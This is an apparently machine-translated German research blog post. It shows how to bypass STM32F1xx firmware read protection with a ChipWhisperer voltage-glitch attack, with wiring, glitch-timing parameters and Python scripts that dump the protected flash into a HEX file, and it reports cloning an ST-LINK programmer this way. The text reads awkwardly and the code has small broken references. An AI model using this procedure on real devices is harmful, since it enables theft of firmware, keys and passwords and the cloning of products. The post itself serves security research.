Lesen Sie die sichere Firmware vom STM32F1xx-Flash mit ChipWhisperer


Im vorherigen Artikel haben wir uns mit Vcc-Glitch-Angriffen mit ChipWhisperer befasst. Unser weiteres Ziel war eine schrittweise Untersuchung des Prozesses des Lesens geschützter Firmware-Mikrocontroller. Durch solche Angriffe kann ein Angreifer auf alle Gerätekennwörter und Softwarealgorithmen zugreifen. Ein anschauliches Beispiel ist das Hacken der Ledger Nano S-Hardware-Kryptobörse mit dem MK STM32F042-Board unter Verwendung von Vcc-Glitch-Attacken.


Interessant? Lass uns unter die Katze schauen.


Die Möglichkeit, geschützte Firmware zu lesen, haben wir einem Artikel entnommen, in dem die Ergebnisse eines Vcc-Glitch-Angriffs vorgestellt werden. Dabei wird das RDP-Schutzbyte durch einen Bootloader für mehrere Mikrocontroller (im Folgenden - MK) umgangen. Wir empfehlen auch, den Artikel über das Brechen des ESP32 zu lesen.


Die theoretische Grundlage der Studie war die Richtlinie zum erfolgreichen Lesen der geschützten Firmware für LPC1114 über einen Maskenlader mit ChipWhisperer.


Wie im ersten Artikel haben wir uns entschlossen, Experimente mit dem MK STM32F103RBT6-Board durchzuführen:



Karte STM32F103RBT6


Die Fähigkeit, Daten in den Flash- und RAM-Sektor zu schreiben oder diese zu lesen sowie andere Aktionen mit dem MK-Speicher auszuführen, wird durch den Wert des Schutzbytes (für STM32 - RDP) bestimmt. Für verschiedene MK sind die Werte und der Zweck der Schutzbytes sowie der Algorithmus zu deren Überprüfung unterschiedlich.


Hardware-Setup


Beginnen wir mit dem Experiment. Zuerst müssen Sie ChipWhisperer gemäß der Abbildung an MK anschließen:



Anschlussplan von ChipWhisperer an STM32 zum Auslesen der geschützten Firmware über einen Maskenlader


Elemente, die von der STM32F103RBT6-Karte entfernt werden sollen, sind im Diagramm durchgestrichen (im Gegensatz zum Standard-MK-Anschluss). Die Pfeile kennzeichnen die Anschlusspunkte von ChipWhisperer und die Signaturen die Pins.


Das Vorhandensein von externem Quarz, wie in der Abbildung gezeigt, ist nicht erforderlich, da der MK STM32F103RBT6 bei der Arbeit mit einem Maskenlader eine interne UHR mit einer Frequenz von 24 MHz verwendet, sodass keine Synchronisation zwischen ChipWhisperer und MK stattfindet.


Fahren wir mit der Einrichtung von ChipWhisperer fort. Wie oben erwähnt, beträgt die empfohlene Frequenz von ChipWhisperer 24 MHz (oder ein anderes Vielfaches). Je höher die Multiplizität dieser Frequenz ist, desto genauer können Sie den Moment des Anschlags einstellen. Aufgrund der fehlenden Synchronisation ist die Auswahl des Parameters scope.glitch.offset optional und es kann ein beliebiger Wert zugewiesen werden.


Die Parameter scope.glitch.repeat und scope.glitch.width müssen abhängig von der eingestellten Frequenz von ChipWhisperer gewählt werden. Bei einem großen Frequenzwert verschmelzen alle Kurzzeitimpulse, deren Anzahl mit scope.glitch.repeat eingestellt wird, zu einem langen Impuls. Daher können Sie den Wert des Parameters scope.glitch.width und scope.glitch.repeat fix auswählen oder umgekehrt. Wir fanden heraus, dass die optimale Pulsdauer ungefähr 80 ns betragen sollte (definiert als die Pulsbreite bei halbem Maximum).


Es bleibt die Auswahl des Wertes des Parameters scope.glitch.ext_offset.


Auswahl scope.glitch.ext_offset


Zuerst müssen Sie den Moment des Angriffs auswählen. Gemäß dem im Dokument des STM-Unternehmens dargestellten Schema wird der Schutzbytewert überprüft, nachdem eine Anforderung zum Lesen von Daten aus dem Flash-Sektor empfangen wurde:



Der Algorithmus zum Beantworten einer Anforderung zum Lesen von Daten aus dem Flash-Sektor


Um die Gültigkeit eines solchen Überprüfungsschemas zu überprüfen, lesen wir den ausführbaren Bootloader-Code eines ähnlichen MK ohne RDP-Schutz über ST-Link. Die folgenden Abbildungen zeigen Teile des Algorithmus für die Verarbeitung von Lesespeicherbefehlen.



Gesamtansicht der Verarbeitung eines Speicherlesebefehls (der Aufruf der RDP-Prüffunktion und das Senden von NACK im Falle einer fehlgeschlagenen Prüfung sind deutlich sichtbar)



RDP-Validierungsfunktionskörper


Lassen Sie uns auf den Hauptteil der RDP-Prüffunktion achten: Es ist zu sehen, dass das Register mit 0x40022000 + 0x1C , einer logischen Verschiebung von 30 Bit und einer Verzweigung gelesen wird. Aus der Dokumentation des PM0075-Programmierhandbuchs (STM32F10xxx-Flash-Speicher-Mikrocontroller) geht hervor, dass 0x40022000 die Basisadresse des Flash-Speicher-Controllers ist und 0x1C der FLASH_OBR- Registerversatz, an dem wir das zweite Bit von RDPRT interessiert sind: Leseschutz , das den RDP-Schutzstatus enthält.


Der notwendige Angriffsmoment ist die Entwicklung des LDR Befehls (Memory Loading). Diese Anweisung befindet sich zwischen der Anforderung zum Lesen der Firmware (Senden eines 0x11 Bytes mit einer 0xEE ) und der ACK / NOACK MK-Antwort von UART. Um diesen Moment visuell zu fixieren, muss das Oszilloskop an UART1_RX (Pin PA10) und UART1_TX (Pin PA9) angeschlossen und anschließend die Spannungsänderung gemäß UART1 überwacht werden. Folglich sollte die Power Attack-Wellenform mit dem ausgewählten scope.glitch.ext_offset-Wert ungefähr so ​​aussehen:



Den Moment des Angriffs auswählen


Firmware-Leseskript


Jetzt müssen Sie den Trigger-Moment des CW_TRIG-Triggers im Python-Code angeben, um den Moment der Übertragung der Prüfsumme über UART1_RX abzufangen. ChipWhisperer verfügt über eine Bibliothek für die Kommunikation mit dem STM32 MK-Maskenlader. Im normalen Modus wird diese Bibliothek zum Herunterladen von Firmware aus Handbüchern auf das MK verwendet. Dabei wird die Klassenklasse class STM32FSerial(object) sich in der Datei programmer_stm32fserial.py unter dem Pfad software/chipwhisperer/hardware/naeusb/ . Um den Trigger zu aktivieren, müssen Sie diese Klasse in das ausführbare Hauptskript kopieren, damit auf die Klassenmethode CmdGeneric(self, cmd) global scope.arm() , und den Befehl scope.arm() hinzufügen, bevor Sie die Prüfsumme (0xEE) der Anforderung zum Lesen des Speichersektors senden. Die Schlussklasse ist im Spoiler unten angegeben.


Klasse für die Kommunikation von ChipWhisperer mit STM32
 import time import sys import logging from chipwhisperer.common.utils import util from chipwhisperer.hardware.naeusb.programmer_stm32fserial import supported_stm32f from chipwhisperer.capture.api.programmers import Programmer # class which can normally using internal CW library for reading STM32 firmware by UART class STM32Reader(Programmer): def __init__(self): super(STM32Reader, self).__init__() self.supported_chips = supported_stm32f self.slow_speed = False self.small_blocks = True self.stm = None def stm32prog(self): if self.stm is None: stm = self.scope.scopetype.dev.serialstm32f else: stm = self.stm stm.slow_speed = self.slow_speed stm.small_blocks = self.small_blocks return stm def stm32open(self): stm32f = self.stm32prog() stm32f.open_port() def stm32find(self): stm32f = self.stm32prog() stm32f.scope = self.scope sig, chip = stm32f.find() def stm32readMem(self, addr, lng): stm32f = self.stm32prog() stm32f.scope = self.scope #answer = stm32f.readMemory(addr, lng) answer = self.ReadMemory(addr, lng) return answer def stm32GetID(self): stm32f = self.stm32prog() stm32f.scope = self.scope answer = stm32f.cmdGetID() return answer # Needed for connection to STM after reload by reset_target(scope) method def FindSTM(self): #setup serial port (or CW-serial port?) stm32f = self.stm32prog() try: stm32f.initChip() except IOError: print("Failed to detect chip. Check following: ") print(" 1. Connections and device power. ") print(" 2. Device has valid clock (or remove clock entirely for internal osc).") print(" 3. On Rev -02 CW308T-STM32Fx boards, BOOT0 is routed to PDIC.") raise boot_version = stm32f.cmdGet() chip_id = stm32f.cmdGetID() for t in supported_stm32f: if chip_id == t.signature: # print("Detected known STMF32: %s" % t.name) stm32f.setChip(t) return chip_id, t # print("Detected unknown STM32F ID: 0x%03x" % chip_id) return chip_id, None 

Es ist zu beachten, dass Sie mit dem STM32F1xx-Maskenlader in einer einzigen Anforderung nicht mehr als 256 Byte Firmware aus einem angegebenen Flash-Sektor lesen können. Daher müssen beim Lesen der gesamten Firmware des MK während des Vcc-Glitch-Angriffs mehrere Leseanforderungen ausgeführt werden. Die empfangenen 256 Bytes sollten dann in acht 32-Byte-Arrays aufgeteilt werden und daraus eine HEX-Datei bilden.


HEX-Konvertercode und Zusatzfunktionen
 def int2str_0xFF(int_number, number_of_bytes): return '{0:0{1}X}'.format(int_number,number_of_bytes_in_string) def data_dividing_from_256_to_32_bytes (data_to_divide, mem_sector, mem_step=32): if mem_sector > 0xFFFF: mem_conversion = mem_sector >> 16 mem_conversion = mem_sector - (mem_conversion << 16) data_out = '' for i in range(int(256/mem_step)): data_vector = data_to_divide[(i * mem_step):((i + 1) * mem_step)] mem_calc = mem_conversion + (i * mem_step) data_out += read_and_convert_data_hex_file(data_vector, mem_calc, mem_step) + '\n' return data_out def read_and_convert_data_hex_file(data_to_convert, memory_address, mem_step): addr_string = memory_address -((memory_address >> 20) << 20) data_buffer = '' crcacc = 0 for x in range(0, len(data_to_convert)): data_buffer += int2str_0xFF(data_to_convert[x], 2) crcacc += data_to_convert[x] crcacc += mem_step temp_addr_string = addr_string for i in range (4, -1, -2): crcacc += temp_addr_string >> i*4 temp_addr_string -= ((temp_addr_string >> i*4) << i*4) crcacc_2nd_symbol = (crcacc >> 8) + 1 crcacc = (crcacc_2nd_symbol << 8) - crcacc if crcacc == 0x100: crcacc = 0 RECTYP = 0x00 out_string = ':'+ Int_To_Hex_String(mem_step, 2) +\ Int_To_Hex_String((addr_string),4) +\ Int_To_Hex_String(RECTYP, 2) +\ data_buffer +\ Int_To_Hex_String(crcacc, 2) return out_string def send_to_file(info_to_output, File_name, directory): file = open(directory + File_name + '.hex', 'w') file.write(info_to_output) file.close() def reset_target(scope): scope.io.nrst = 'low' time.sleep(0.05) scope.io.nrst = 'high' from collections import namedtuple Range = namedtuple('Range', ['min', 'max', 'step']) 

Das Konfigurieren der ChipWhisperer-Einstellungen ist nun abgeschlossen. Das letzte Skript zum Lesen der Firmware lautet wie folgt:


 # string of start HEX file Start_of_File_Record = ':020000040800F2' # string of end HEX file End_of_File_Record = ':00000001FF' length_of_sector = 256 if length_of_sector % 4 != 0: sys.exit('length_of_sector must be equal to 4') output_to_file_buffer = '' output_to_file_buffer += Start_of_File_Record + '\n' mem_current = mem_start while mem_current < mem_stop: # flush the garbage from the computer's target read buffer target.ser.flush() # run aux stuff that should run before the scope arms here reset_target(scope) # initialize STM32 after each reset prog.FindSTM() try: # reading of closed memory sector data = prog.stm32readMem(mem_current, length_of_sector) except Exception as message: message = str(message) if "Can't read port" in message: # print('Port silence') pass elif 'Unknown response. 0x11: 0x0' in message: # print('Crashed. Reload!') pass elif 'NACK 0x11' in message: # print('Firmware is closed!') pass else: # print('Unknown error:', message, scope.glitch.offset, scope.glitch.width, scope.glitch.ext_offset) pass else: data_to_out = data_dividing_from_256_to_32_bytes (data, mem_current) print(data_to_out) output_to_file_buffer += data_to_out mem_current += length_of_sector output_to_file_buffer += End_of_File_Record + '\n' send_to_file(output_to_file_buffer, File_name, directory) 

Alle auskommentierten print() -Nachrichten nach der Zeile mit except Exception as Hilfe zur Überwachung des MC-Status bei der Suche nach den optimalen Parametern für den Störimpuls. Um den spezifischen Status von MK zu verfolgen, genügt es, die erforderliche print() Meldung zu entfernen.


Ergebnisse lesen


Das Video zeigt das Herunterladen der Firmware auf das MK über den ST-LINK-Programmierer, das Übertragen von RDP in den Schutzstatus und das anschließende Lesen der Firmware:



Die folgenden Fehler können erfolgreiche Vcc-Glitch-Angriffe verhindern:


• Lesen des falschen Speichersektors;


• Spontanes Entfernen der Firmware.


Eine genaue Auswahl des Angriffsmoments durch Erhöhen der Frequenz von ChipWhisperer hilft, solche Fehler zu vermeiden.


Nach der Entwicklung und dem Debuggen des Algorithmus zum Lesen der geschützten Firmware haben wir ein Testlesen der Firmware des ST-LINK-V2.1-Programmiergeräts durchgeführt, das auf dem STM32F103CBT6 MK funktioniert. Ein paar Firmware haben wir auf eine "saubere" MK STM32F103CBT6 aufgenäht und diese anstelle der werkseitigen installiert. Infolgedessen arbeitete ST-LINK-V2.1 mit dem ersetzten MK im normalen Modus, als gäbe es keinen Ersatz.


Wir haben auch versucht, eine Reihe von Angriffen auf STM32F303RCT7 auszuführen. Dieser MK hat sich während des Angriffs identisch zu STM32F103RBT6 verhalten, aber die Antwort auf die Lesespeicheranforderung enthielt ein Byte von 0x00, das nicht mit dem erwarteten Ergebnis übereinstimmte. Der Grund für dieses Versagen war ein komplexeres und entwickeltes Prinzip zur Organisation des Schutzes dieser MKs.


Es gibt zwei Schutzzustände im STM32F1xx MK: Der Schutz ist ausgeschaltet (Stufe 0) und eingeschaltet (Stufe 1). Bei älteren Modellen gibt es drei Schutzzustände: Der Schutz ist deaktiviert (Stufe 0, RDP = 0x55AA), der Schutz des Flash- und SRAM-Speichers (Stufe 2, RDP = 0x33CC) und nur der Schutz des Flash-Speichers (Stufe 1, RDP nimmt andere Werte an als von 0x55AA und 0x33CC). Da Level 1 viele RDP-Werte annehmen kann, ist das Einstellen von Level 0 ziemlich schwierig. Auf der anderen Seite ist es möglich, die Schutzstufe von Stufe 2 auf Stufe 1 zu senken, indem ein Bit im RDP-Byte (siehe Abbildung unten) heruntergefahren wird, wodurch auf den SRAM-Speicher zugegriffen werden kann.



Vergleich der RDP-Werte für verschiedene Firmware-Schutzstufen


Es bleibt nur zu verstehen, wie ein Angreifer dies ausnutzen kann. Verwenden Sie beispielsweise die in diesem Artikel beschriebene CBS-Methode (Cold-Boot Stepping). Diese Methode basiert auf einer schrittweisen Momentaufnahme des Status des SRAM-Speichers (die Häufigkeit jeder Momentaufnahme lag im Mikrosekundenbereich) nach dem Laden des MC, um Verschlüsselungsschlüssel, verborgene Kennwörter oder andere wertvolle Informationen zu erhalten. Die Autoren schlagen vor, dass die CBS-Methode auf allen STM32 MK-Serien funktioniert.


Schlussfolgerungen


Um unsere Experimente zusammenzufassen. Wir haben mehrere Tage gebraucht, um einen Vcc-Glitch-Angriff mit den Daten einer früheren Studie (die hier nachzulesen ist ) durchzuführen. Das Erlernen solcher Angriffe ist also einfach genug.


Vcc-Glitch-Angriffe sind gefährlich, weil sie schwer zu verteidigen sind. Um die Wahrscheinlichkeit eines erfolgreichen Durchführens solcher Angriffe zu verringern, wird vorgeschlagen, MK mit einem höheren Schutzniveau zu verwenden.



Raccoon Security ist ein spezielles Expertenteam des Volcano Scientific and Technical Center im Bereich praktischer Informationssicherheit, Kryptographie, Schaltungstechnik, Reverse Engineering und der Erstellung von Low-Level-Software.


Source: https://habr.com/ru/post/de483732/


All Articles